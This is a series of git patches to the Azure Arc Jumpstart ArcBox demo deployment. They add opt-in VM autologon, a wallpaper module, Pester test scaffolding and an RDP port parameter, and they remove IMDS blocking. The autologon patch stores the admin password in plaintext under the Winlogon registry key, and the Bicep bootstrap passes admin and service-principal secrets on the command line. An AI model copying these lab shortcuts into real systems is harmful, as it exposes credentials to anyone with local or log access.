$logFilePath = "$Env:ArcBoxLogsDir\ArcServersLogonScript.log" if ([System.IO.File]::Exists($logFilePath)) { $archivefile = "$Env:ArcBoxLogsDir\ArcServersLogonScript-" + (Get-Date -Format "yyyyMMddHHmmss") @@ -26,6 +26,20 @@ if ([System.IO.File]::Exists($logFilePath)) { Start-Transcript -Path $logFilePath -Force -ErrorAction SilentlyContinue +# Remove registry keys that are used to automatically logon the user (only used for first-time setup) +$registryPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" +$keys = @("AutoAdminLogon", "DefaultUserName", "DefaultPassword") + +foreach ($key in $keys) { + try { + $property = Get-ItemProperty -Path $registryPath -Name $key -ErrorAction Stop + Remove-ItemProperty -Path $registryPath -Name $key + Write-Host "Removed registry key that are used to automatically logon the user: $key" + } catch { + Write-Verbose "Key $key does not exist." + } +} + ################################################ # Setup Hyper-V server before deploying VMs for each flavor ################################################ diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index 3a2a1ed52d..1cc782e5e3 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -29,7 +29,9 @@ param ( [string]$templateBaseUrl, [string]$flavor, [string]$rdpPort, - [string]$sshPort + [string]$sshPort, + [string]$vmAutologon + } ) [System.Environment]::SetEnvironmentVariable('adminUsername', $adminUsername, [System.EnvironmentVariableTarget]::Machine) @@ -100,6 +102,16 @@ Start-Transcript -Path $Env:ArcBoxLogsDir\Bootstrap.log $ErrorActionPreference = 'SilentlyContinue' +if ([bool]$vmAutologon){ + + Write-Host "Configuring VM Autologon" + + Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" "AutoAdminLogon" "1" + Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" "DefaultUserName" $adminUsername + Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" "DefaultPassword" $adminPassword + +} + # Copy PowerShell Profile and Reload Invoke-WebRequest ($templateBaseUrl + "artifacts/PSProfile.ps1") -OutFile $PsHome\Profile.ps1 .$PsHome\Profile.ps1 diff --git a/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep b/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep index e047f07b70..41ecc94956 100644 --- a/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep +++ b/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep @@ -7,6 +7,9 @@ param capiArcDataClusterName string = 'ArcBox-CAPI-Data' @description('Username for the Virtual Machine') param windowsAdminUsername string = 'arcdemo' +@description('Enable automatic logon into ArcBox Virtual Machine') +param vmAutologon bool = false + @description('Password for Windows account. Password must have 3 of the following: 1 lower case character, 1 upper case character, 1 number, and 1 special character. The value must be between 12 and 123 characters long') @minLength(12) @maxLength(123) @@ -194,7 +197,7 @@ resource vmBootstrap 'Microsoft.Compute/virtualMachines/extensions@2022-03-01' = fileUris: [ uri(templateBaseUrl, 'artifacts/Bootstrap.ps1') ] - commandToExecute: 'powershell.exe -ExecutionPolicy Bypass -File Bootstrap.ps1 -adminUsername ${windowsAdminUsername} -adminPassword ${windowsAdminPassword} -spnClientId ${spnClientId} -spnClientSecret ${spnClientSecret} -spnTenantId ${spnTenantId} -spnAuthority ${spnAuthority} -subscriptionId ${subscription().subscriptionId} -resourceGroup ${resourceGroup().name} -azdataUsername ${azdataUsername} -azdataPassword ${azdataPassword} -acceptEula ${acceptEula} -registryUsername ${registryUsername} -registryPassword ${registryPassword} -arcDcName ${arcDcName} -azureLocation ${location} -mssqlmiName ${mssqlmiName} -POSTGRES_NAME ${postgresName} -POSTGRES_WORKER_NODE_COUNT ${postgresWorkerNodeCount} -POSTGRES_DATASIZE ${postgresDatasize} -POSTGRES_SERVICE_TYPE ${postgresServiceType} -stagingStorageAccountName ${stagingStorageAccountName} -workspaceName ${workspaceName} -templateBaseUrl ${templateBaseUrl} -flavor ${flavor} -capiArcDataClusterName ${capiArcDataClusterName} -k3sArcClusterName ${k3sArcClusterName} -aksArcClusterName ${aksArcClusterName} -aksdrArcClusterName ${aksdrArcClusterName} -githubUser ${githubUser}' + commandToExecute: 'powershell.exe -ExecutionPolicy Bypass -File Bootstrap.ps1 -adminUsername ${windowsAdminUsername} -adminPassword ${windowsAdminPassword} -spnClientId ${spnClientId} -spnClientSecret ${spnClientSecret} -spnTenantId ${spnTenantId} -spnAuthority ${spnAuthority} -subscriptionId ${subscription().subscriptionId} -resourceGroup ${resourceGroup().name} -azdataUsername ${azdataUsername} -azdataPassword ${azdataPassword} -acceptEula ${acceptEula} -registryUsername ${registryUsername} -registryPassword ${registryPassword} -arcDcName ${arcDcName} -azureLocation ${location} -mssqlmiName ${mssqlmiName} -POSTGRES_NAME ${postgresName} -POSTGRES_WORKER_NODE_COUNT ${postgresWorkerNodeCount} -POSTGRES_DATASIZE ${postgresDatasize} -POSTGRES_SERVICE_TYPE ${postgresServiceType} -stagingStorageAccountName ${stagingStorageAccountName} -workspaceName ${workspaceName} -templateBaseUrl ${templateBaseUrl} -flavor ${flavor} -capiArcDataClusterName ${capiArcDataClusterName} -k3sArcClusterName ${k3sArcClusterName} -aksArcClusterName ${aksArcClusterName} -aksdrArcClusterName ${aksdrArcClusterName} -githubUser ${githubUser} -vmAutologon ${vmAutologon}' } } } diff --git a/azure_jumpstart_arcbox/bicep/main.bicep b/azure_jumpstart_arcbox/bicep/main.bicep index 580683ea2e..1751cda213 100644 --- a/azure_jumpstart_arcbox/bicep/main.bicep +++ b/azure_jumpstart_arcbox/bicep/main.bicep @@ -21,6 +21,9 @@ param windowsAdminUsername string @secure() param windowsAdminPassword string +@description('Enable automatic logon into ArcBox Virtual Machine') +param vmAutologon bool = false + @description('Name for your log analytics workspace') param logAnalyticsWorkspaceName string @@ -117,6 +120,7 @@ module clientVmDeployment 'clientVm/clientVm.bicep' = { capiArcDataClusterName : capiArcDataClusterName aksArcClusterName : aksArcDataClusterName aksdrArcClusterName : aksDrArcDataClusterName + vmAutologon: vmAutologon } dependsOn: [ updateVNetDNSServers From 576c046ecfed5ad54b1ca51f5c7acd5439ffd28c Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Fri, 22 Dec 2023 12:22:17 +0000 Subject: [PATCH 012/506] Added PowerShell module Azure.Arc.Jumpstart.Common Signed-off-by: Jan Egil Ring --- .../artifacts/Bootstrap.ps1 | 2 +- .../Azure.Arc.Jumpstart.Common.psd1 | 131 ++++++++++++++++++ .../Azure.Arc.Jumpstart.Common.psm1 | 12 ++ .../Public/Set-JSDesktopBackground.ps1 | 26 ++++ 4 files changed, 170 insertions(+), 1 deletion(-) create mode 100644 azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Azure.Arc.Jumpstart.Common.psd1 create mode 100644 azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Azure.Arc.Jumpstart.Common.psm1 create mode 100644 azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Functions/Public/Set-JSDesktopBackground.ps1 diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index 1cc782e5e3..0ee6d12c0b 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -124,7 +124,7 @@ Resize-Partition -DriveLetter C -Size $(Get-PartitionSupportedSize -DriveLetter Install-PackageProvider -Name NuGet -MinimumVersion 2.8.5.201 -Force Install-Module -Name Microsoft.PowerShell.PSResourceGet -Force -$modules = @("Az", "Az.ConnectedMachine", "Posh-SSH", "Pester") +$modules = @("Az", "Az.ConnectedMachine", "Azure.Arc.Jumpstart.Common", "Posh-SSH", "Pester") foreach ($module in $modules) { Install-PSResource -Name $module -Scope AllUsers -Quiet -AcceptLicense -TrustRepository diff --git a/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Azure.Arc.Jumpstart.Common.psd1 b/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Azure.Arc.Jumpstart.Common.psd1 new file mode 100644 index 0000000000..e81135c294 --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Azure.Arc.Jumpstart.Common.psd1 @@ -0,0 +1,131 @@ +# +# Module manifest for module 'Azure.Arc.Jumpstart.Common' +# +# Generated by: Azure Arc Jumpstart +# +# Generated on: 22.12.2023 +# + +@{ + +# Script module or binary module file associated with this manifest. +RootModule = 'Azure.Arc.Jumpstart.Common.psm1' + +# Version number of this module. +ModuleVersion = '0.0.1' + +# Supported PSEditions +# CompatiblePSEditions = @() + +# ID used to uniquely identify this module +GUID = 'a0b1c2d3-e4f5-6a7b-8c9d-0e1f2a3b4c5d' + +# Author of this module +Author = 'Azure Arc Jumpstart' + +# Company or vendor of this module +CompanyName = 'Microsoft' + +# Copyright statement for this module +Copyright = '(c) Azure Arc Jumpstart. All rights reserved.' + +# Description of the functionality provided by this module +Description = 'Common functions for Azure Arc Jumpstart' + +# Minimum version of the PowerShell engine required by this module +# PowerShellVersion = '' + +# Name of the PowerShell host required by this module +# PowerShellHostName = '' + +# Minimum version of the PowerShell host required by this module +# PowerShellHostVersion = '' + +# Minimum version of Microsoft .NET Framework required by this module. This prerequisite is valid for the PowerShell Desktop edition only. +# DotNetFrameworkVersion = '' + +# Minimum version of the common language runtime (CLR) required by this module. This prerequisite is valid for the PowerShell Desktop edition only. +# ClrVersion = '' + +# Processor architecture (None, X86, Amd64) required by this module +# ProcessorArchitecture = '' + +# Modules that must be imported into the global environment prior to importing this module +# RequiredModules = @() + +# Assemblies that must be loaded prior to importing this module +# RequiredAssemblies = @() + +# Script files (.ps1) that are run in the caller's environment prior to importing this module. +# ScriptsToProcess = @() + +# Type files (.ps1xml) to be loaded when importing this module +# TypesToProcess = @() + +# Format files (.ps1xml) to be loaded when importing this module +# FormatsToProcess = @() + +# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess +# NestedModules = @() + +# Functions to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no functions to export. +FunctionsToExport = 'Set-JSDesktopBackground' + +# Cmdlets to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no cmdlets to export. +CmdletsToExport = '' + +# Variables to export from this module +VariablesToExport = '' + +# Aliases to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no aliases to export. +AliasesToExport = '' + +# DSC resources to export from this module +# DscResourcesToExport = @() + +# List of all modules packaged with this module +# ModuleList = @() + +# List of all files packaged with this module +# FileList = @() + +# Private data to pass to the module specified in RootModule/ModuleToProcess. This may also contain a PSData hashtable with additional module metadata used by PowerShell. +PrivateData = @{ + + PSData = @{ + + # Tags applied to this module. These help with module discovery in online galleries. + # Tags = @() + + # A URL to the license for this module. + # LicenseUri = '' + + # A URL to the main website for this project. + # ProjectUri = '' + + # A URL to an icon representing this module. + # IconUri = '' + + # ReleaseNotes of this module + # ReleaseNotes = '' + + # Prerelease string of this module + # Prerelease = '' + + # Flag to indicate whether the module requires explicit user acceptance for install/update/save + # RequireLicenseAcceptance = $false + + # External dependent modules of this module + # ExternalModuleDependencies = @() + + } # End of PSData hashtable + +} # End of PrivateData hashtable + +# HelpInfo URI of this module +# HelpInfoURI = '' + +# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. +# DefaultCommandPrefix = '' + +} diff --git a/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Azure.Arc.Jumpstart.Common.psm1 b/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Azure.Arc.Jumpstart.Common.psm1 new file mode 100644 index 0000000000..cd5bbdda41 --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Azure.Arc.Jumpstart.Common.psm1 @@ -0,0 +1,12 @@ +# Load functions from module subfolder +$ModuleRoot = Split-Path -Path $MyInvocation.MyCommand.Path + +Resolve-Path "$ModuleRoot\Functions\Public\*.ps1" | ForEach-Object -Process { + . $_.ProviderPath +} + +<# +Resolve-Path "$ModuleRoot\Functions\Private\*.ps1" | ForEach-Object -Process { + . $_.ProviderPath +} +#> \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Functions/Public/Set-JSDesktopBackground.ps1 b/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Functions/Public/Set-JSDesktopBackground.ps1 new file mode 100644 index 0000000000..82009e48b6 --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Functions/Public/Set-JSDesktopBackground.ps1 @@ -0,0 +1,26 @@ +function Set-JSDesktopBackground { + [CmdletBinding()] + param ( + [Parameter(Mandatory = $true)] + [string]$ImagePath + ) + +$code = @' + using System.Runtime.InteropServices; + namespace Win32{ + + public class Wallpaper{ + [DllImport("user32.dll", CharSet=CharSet.Auto)] + static extern int SystemParametersInfo (int uAction , int uParam , string lpvParam , int fuWinIni) ; + + public static void SetWallpaper(string thePath){ + SystemParametersInfo(20,0,thePath,3); + } + } + } +'@ + +Add-Type $code +[Win32.Wallpaper]::SetWallpaper($ImagePath) + +} \ No newline at end of file From f24160a074dbb5886c71164951ef950a008ec42f Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Fri, 22 Dec 2023 12:24:53 +0000 Subject: [PATCH 013/506] Leverage Set-JSDesktopBackground for changing wallpaper Signed-off-by: Jan Egil Ring --- .../artifacts/ArcServersLogonScript.ps1 | 30 ++++--------------- 1 file changed, 5 insertions(+), 25 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index 74b458df26..b817fd750d 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -493,30 +493,10 @@ Write-Host "Creating deployment logs bundle" }' # Changing to Jumpstart ArcBox wallpaper -# Changing to Client VM wallpaper -$imgPath = "$Env:ArcBoxDir\wallpaper.png" -$code = @' -using System.Runtime.InteropServices; -namespace Win32{ - - public class Wallpaper{ - [DllImport("user32.dll", CharSet=CharSet.Auto)] - static extern int SystemParametersInfo (int uAction , int uParam , string lpvParam , int fuWinIni) ; - - public static void SetWallpaper(string thePath){ - SystemParametersInfo(20,0,thePath,3); - } - } -} -'@ - -# Set wallpaper image based on the ArcBox Flavor deployed -$DataServicesLogonScript = Get-WmiObject win32_process -filter 'name="pwsh.exe"' | Select-Object CommandLine | ForEach-Object { $_ | Select-String "DataServicesLogonScript.ps1" } -if (-not $DataServicesLogonScript) { - Write-Header "Changing Wallpaper" - $imgPath = "$Env:ArcBoxDir\wallpaper.png" - Add-Type $code - [Win32.Wallpaper]::SetWallpaper($imgPath) -} + +Write-Header "Changing wallpaper" + +$wallpaperPath = "$Env:ArcBoxDir\wallpaper.jpg" +Set-JSDesktopBackground -ImagePath $wallpaperPath Stop-Transcript From 2b3db3d751dcfbaf20f7f4a10783cc7d894bde64 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Fri, 22 Dec 2023 12:48:11 +0000 Subject: [PATCH 014/506] Bugfix - syntax error Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 | 1 - 1 file changed, 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index 0ee6d12c0b..7be525f3de 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -31,7 +31,6 @@ param ( [string]$rdpPort, [string]$sshPort, [string]$vmAutologon - } ) [System.Environment]::SetEnvironmentVariable('adminUsername', $adminUsername, [System.EnvironmentVariableTarget]::Machine) From 809c603d77d6a44c45738cba562c4b710414e52e Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Fri, 22 Dec 2023 20:13:02 +0000 Subject: [PATCH 015/506] Updated wallpaper path Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index b817fd750d..0b32c1b71d 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -496,7 +496,7 @@ Write-Host "Creating deployment logs bundle" Write-Header "Changing wallpaper" -$wallpaperPath = "$Env:ArcBoxDir\wallpaper.jpg" +$wallpaperPath = "$Env:ArcBoxDir\wallpaper.png" Set-JSDesktopBackground -ImagePath $wallpaperPath Stop-Transcript From 76241dba606cb29d9c00a5f187676c08809e76b9 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Fri, 22 Dec 2023 20:22:41 +0000 Subject: [PATCH 016/506] Removing IMDS blocking Signed-off-by: Jan Egil Ring --- .../artifacts/ArcServersLogonScript.ps1 | 10 ---------- 1 file changed, 10 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index 0b32c1b71d..df1e845248 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -112,16 +112,6 @@ if ($Env:flavor -ne "DevOps") { Write-Host "Creating Hyper-V Shortcut" Copy-Item -Path "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Hyper-V Manager.lnk" -Destination "C:\Users\All Users\Desktop" -Force - # Configure the ArcBox Hyper-V host to allow the nested VMs onboard as Azure Arc-enabled servers - Write-Header "Blocking IMDS" - Write-Output "Configure the ArcBox VM to allow the nested VMs onboard as Azure Arc-enabled servers" - Set-Service WindowsAzureGuestAgent -StartupType Disabled -Verbose - Stop-Service WindowsAzureGuestAgent -Force -Verbose - - if (!(Get-NetFirewallRule -Name BlockAzureIMDS -ErrorAction SilentlyContinue).Enabled) { - New-NetFirewallRule -Name BlockAzureIMDS -DisplayName "Block access to Azure IMDS" -Enabled True -Profile Any -Direction Outbound -Action Block -RemoteAddress 169.254.169.254 - } - $cliDir = New-Item -Path "$Env:ArcBoxDir\.cli\" -Name ".servers" -ItemType Directory -Force if (-not $($cliDir.Parent.Attributes.HasFlag([System.IO.FileAttributes]::Hidden))) { $folder = Get-Item $cliDir.Parent.FullName -ErrorAction SilentlyContinue From 22de83a6b4415819eae97cce57e51147e68c7602 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Fri, 22 Dec 2023 20:26:43 +0000 Subject: [PATCH 017/506] Added rdpPort parameter Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep | 5 ++++- azure_jumpstart_arcbox/bicep/main.bicep | 4 ++++ 2 files changed, 8 insertions(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep b/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep index 41ecc94956..99dd43e120 100644 --- a/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep +++ b/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep @@ -10,6 +10,9 @@ param windowsAdminUsername string = 'arcdemo' @description('Enable automatic logon into ArcBox Virtual Machine') param vmAutologon bool = false +@description('Override default RDP port using this parameter. Default is 3389. No changes will be made to the client VM.') +param rdpPort string = '3389' + @description('Password for Windows account. Password must have 3 of the following: 1 lower case character, 1 upper case character, 1 number, and 1 special character. The value must be between 12 and 123 characters long') @minLength(12) @maxLength(123) @@ -197,7 +200,7 @@ resource vmBootstrap 'Microsoft.Compute/virtualMachines/extensions@2022-03-01' = fileUris: [ uri(templateBaseUrl, 'artifacts/Bootstrap.ps1') ] - commandToExecute: 'powershell.exe -ExecutionPolicy Bypass -File Bootstrap.ps1 -adminUsername ${windowsAdminUsername} -adminPassword ${windowsAdminPassword} -spnClientId ${spnClientId} -spnClientSecret ${spnClientSecret} -spnTenantId ${spnTenantId} -spnAuthority ${spnAuthority} -subscriptionId ${subscription().subscriptionId} -resourceGroup ${resourceGroup().name} -azdataUsername ${azdataUsername} -azdataPassword ${azdataPassword} -acceptEula ${acceptEula} -registryUsername ${registryUsername} -registryPassword ${registryPassword} -arcDcName ${arcDcName} -azureLocation ${location} -mssqlmiName ${mssqlmiName} -POSTGRES_NAME ${postgresName} -POSTGRES_WORKER_NODE_COUNT ${postgresWorkerNodeCount} -POSTGRES_DATASIZE ${postgresDatasize} -POSTGRES_SERVICE_TYPE ${postgresServiceType} -stagingStorageAccountName ${stagingStorageAccountName} -workspaceName ${workspaceName} -templateBaseUrl ${templateBaseUrl} -flavor ${flavor} -capiArcDataClusterName ${capiArcDataClusterName} -k3sArcClusterName ${k3sArcClusterName} -aksArcClusterName ${aksArcClusterName} -aksdrArcClusterName ${aksdrArcClusterName} -githubUser ${githubUser} -vmAutologon ${vmAutologon}' + commandToExecute: 'powershell.exe -ExecutionPolicy Bypass -File Bootstrap.ps1 -adminUsername ${windowsAdminUsername} -adminPassword ${windowsAdminPassword} -spnClientId ${spnClientId} -spnClientSecret ${spnClientSecret} -spnTenantId ${spnTenantId} -spnAuthority ${spnAuthority} -subscriptionId ${subscription().subscriptionId} -resourceGroup ${resourceGroup().name} -azdataUsername ${azdataUsername} -azdataPassword ${azdataPassword} -acceptEula ${acceptEula} -registryUsername ${registryUsername} -registryPassword ${registryPassword} -arcDcName ${arcDcName} -azureLocation ${location} -mssqlmiName ${mssqlmiName} -POSTGRES_NAME ${postgresName} -POSTGRES_WORKER_NODE_COUNT ${postgresWorkerNodeCount} -POSTGRES_DATASIZE ${postgresDatasize} -POSTGRES_SERVICE_TYPE ${postgresServiceType} -stagingStorageAccountName ${stagingStorageAccountName} -workspaceName ${workspaceName} -templateBaseUrl ${templateBaseUrl} -flavor ${flavor} -capiArcDataClusterName ${capiArcDataClusterName} -k3sArcClusterName ${k3sArcClusterName} -aksArcClusterName ${aksArcClusterName} -aksdrArcClusterName ${aksdrArcClusterName} -githubUser ${githubUser} -vmAutologon ${vmAutologon} -rdpPort ${rdpPort}' } } } diff --git a/azure_jumpstart_arcbox/bicep/main.bicep b/azure_jumpstart_arcbox/bicep/main.bicep index 1751cda213..6e6073940c 100644 --- a/azure_jumpstart_arcbox/bicep/main.bicep +++ b/azure_jumpstart_arcbox/bicep/main.bicep @@ -24,6 +24,9 @@ param windowsAdminPassword string @description('Enable automatic logon into ArcBox Virtual Machine') param vmAutologon bool = false +@description('Override default RDP port using this parameter. Default is 3389. No changes will be made to the client VM.') +param rdpPort string = '3389' + @description('Name for your log analytics workspace') param logAnalyticsWorkspaceName string @@ -121,6 +124,7 @@ module clientVmDeployment 'clientVm/clientVm.bicep' = { aksArcClusterName : aksArcDataClusterName aksdrArcClusterName : aksDrArcDataClusterName vmAutologon: vmAutologon + rdpPort: rdpPort } dependsOn: [ updateVNetDNSServers From 47a0fe11182391079a1f6b30fb45c5c8ddf4b904 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Mon, 25 Dec 2023 12:05:10 +0200 Subject: [PATCH 018/506] Update Arc version to 1.25.0 --- azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 index fdd62b9550..b60cb1d433 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 @@ -193,7 +193,7 @@ foreach ($cluster in $clusters) { --auto-upgrade false ` --scope cluster ` --release-namespace arc ` - --version 1.18.0 ` + --version 1.25.0 ` --config Microsoft.CustomLocation.ServiceAccount=sa-bootstrapper Write-Host "`n" From 25a881e664900889d77017b0857ea801509b944c Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 26 Dec 2023 10:41:53 +0000 Subject: [PATCH 019/506] Added initial structure for Pester tests Signed-off-by: Jan Egil Ring --- .../artifacts/ArcServersLogonScript.ps1 | 15 +++++++++ .../artifacts/Bootstrap.ps1 | 6 ++++ .../artifacts/tests/common.tests.ps1 | 15 +++++++++ .../artifacts/tests/dataops.tests.ps1 | 0 .../artifacts/tests/devops.tests.ps1 | 0 .../artifacts/tests/itpro.tests.ps1 | 33 +++++++++++++++++++ 6 files changed, 69 insertions(+) create mode 100644 azure_jumpstart_arcbox/artifacts/tests/common.tests.ps1 create mode 100644 azure_jumpstart_arcbox/artifacts/tests/dataops.tests.ps1 create mode 100644 azure_jumpstart_arcbox/artifacts/tests/devops.tests.ps1 create mode 100644 azure_jumpstart_arcbox/artifacts/tests/itpro.tests.ps1 diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index df1e845248..713ff976e3 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -489,4 +489,19 @@ Write-Header "Changing wallpaper" $wallpaperPath = "$Env:ArcBoxDir\wallpaper.png" Set-JSDesktopBackground -ImagePath $wallpaperPath +Write-Header "Running tests to verify infrastructure" + +Invoke-Pester -Path "$Env:ArcBoxTestsDir\common.tests.ps1" -Output Detailed + +switch ($env:flavor) { + 'DevOps' { Invoke-Pester -Path "$Env:ArcBoxTestsDir\devops.tests.ps1" -Output Detailed } + 'DataOps' { Invoke-Pester -Path "$Env:ArcBoxTestsDir\dataops.tests.ps1" -Output Detailed } + 'ITPro' { Invoke-Pester -Path "$Env:ArcBoxTestsDir\itpro.tests.ps1" -Output Detailed } + 'Full' { + Invoke-Pester -Path "$Env:ArcBoxTestsDir\devops.tests.ps1" -Output Detailed + Invoke-Pester -Path "$Env:ArcBoxTestsDir\dataops.tests.ps1" -Output Detailed + Invoke-Pester -Path "$Env:ArcBoxTestsDir\itpro.tests.ps1" -Output Detailed + } +} + Stop-Transcript diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index 7be525f3de..1e8b230894 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -81,6 +81,7 @@ $Env:ArcBoxKVDir = "$Env:ArcBoxDir\KeyVault" $Env:ArcBoxGitOpsDir = "$Env:ArcBoxDir\GitOps" $Env:ArcBoxIconDir = "$Env:ArcBoxDir\Icons" $Env:agentScript = "$Env:ArcBoxDir\agentScript" +$Env:ArcBoxTestsDir = "$Env:ArcBoxDir\Tests" $Env:ToolsDir = "C:\Tools" $Env:tempDir = "C:\Temp" $Env:ArcBoxDataOpsDir = "$Env:ArcBoxDir\DataOps" @@ -96,6 +97,7 @@ New-Item -Path $Env:ToolsDir -ItemType Directory -Force New-Item -Path $Env:tempDir -ItemType directory -Force New-Item -Path $Env:agentScript -ItemType directory -Force New-Item -Path $Env:ArcBoxDataOpsDir -ItemType directory -Force +New-Item -Path $Env:ArcBoxTestsDir -ItemType directory -Force Start-Transcript -Path $Env:ArcBoxLogsDir\Bootstrap.log @@ -167,6 +169,7 @@ Invoke-WebRequest ($templateBaseUrl + "artifacts/dsc/common.dsc.yml") -OutFile $ Invoke-WebRequest ($templateBaseUrl + "artifacts/dsc/dataops.dsc.yml") -OutFile $Env:ArcBoxDscDir\dataops.dsc.yml Invoke-WebRequest ($templateBaseUrl + "artifacts/dsc/devops.dsc.yml") -OutFile $Env:ArcBoxDscDir\devops.dsc.yml Invoke-WebRequest ($templateBaseUrl + "artifacts/dsc/itpro.dsc.yml") -OutFile $Env:ArcBoxDscDir\itpro.dsc.yml +Invoke-WebRequest ($templateBaseUrl + "artifacts/tests/common.tests.ps1") -OutFile $Env:ArcBoxTestsDir\common.tests.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/WinGet.ps1") -OutFile $Env:ArcBoxDir\WinGet.ps1 Invoke-WebRequest ($templateBaseUrl + "../tests/GHActionDeploy.ps1") -OutFile "$Env:ArcBoxDir\GHActionDeploy.ps1" Invoke-WebRequest ($templateBaseUrl + "../tests/OpenSSHDeploy.ps1") -OutFile "$Env:ArcBoxDir\OpenSSHDeploy.ps1" @@ -200,6 +203,7 @@ if ($flavor -eq "Full" -Or $flavor -eq "ITPro") { Invoke-WebRequest ($templateBaseUrl + "artifacts/ArcSQLManualOnboarding.ps1") -OutFile $Env:ArcBoxDir\ArcSQLManualOnboarding.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/installArcAgentSQLUser.ps1") -OutFile $Env:ArcBoxDir\installArcAgentSQLUser.ps1 Invoke-WebRequest 